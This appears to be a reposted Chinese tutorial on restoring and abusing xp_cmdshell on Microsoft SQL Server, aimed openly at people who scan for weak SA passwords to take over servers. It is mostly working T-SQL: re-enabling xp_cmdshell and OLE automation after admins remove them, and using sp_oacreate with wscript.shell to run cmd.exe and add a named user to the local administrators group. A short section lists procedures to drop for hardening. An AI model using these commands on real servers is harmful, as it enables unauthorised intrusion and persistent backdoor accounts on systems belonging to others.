1433 SQL入侵恢復(fù)xp_cmdshell方法總結(jié)
sql server 2005下開啟xp_cmdshell的辦法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005開啟'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005開啟'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
突破SA的各種困難
常見情況恢復(fù)執(zhí)行xp_cmdshell
1 未能找到存儲過程'master..xpcmdshell'.
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell"
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
3 無法在庫 xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢
四.終極方法.
如果以上方法均不可恢復(fù),請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
--------------
xp_cmdshell新的恢復(fù)辦法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
這樣可以直接恢復(fù),不用去管sp_addextendedproc是不是存在
-----------------------------
刪除擴展存儲過過程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
開啟cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲擴展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
恢復(fù)xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
否則上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql語句
sp_dropextendedproc "xp_cmdshell
----------------
刪除sql危險存儲:
復(fù)制代碼 代碼如下:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
/*不狐 附上恢復(fù)擴展存儲過程的辦法
先恢復(fù)sp_addextendedproc,語句如下:
SQL代碼:
復(fù)制代碼 代碼如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
再恢復(fù)以上所有擴展存儲過程
SQL代碼:
復(fù)制代碼 代碼如下:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關(guān)啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯(lián)機叢書中的 "外圍應(yīng)用配置器"。
經(jīng)常掃SQL弱口令肉雞的朋友應(yīng)該遇見過這樣的問題 !
接下來我們用SQL語句搞定他
分析器執(zhí)行的語句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
您可能感興趣的文章:- xp_cmdshell開啟與關(guān)閉
- sql2005開啟xp_cmdshell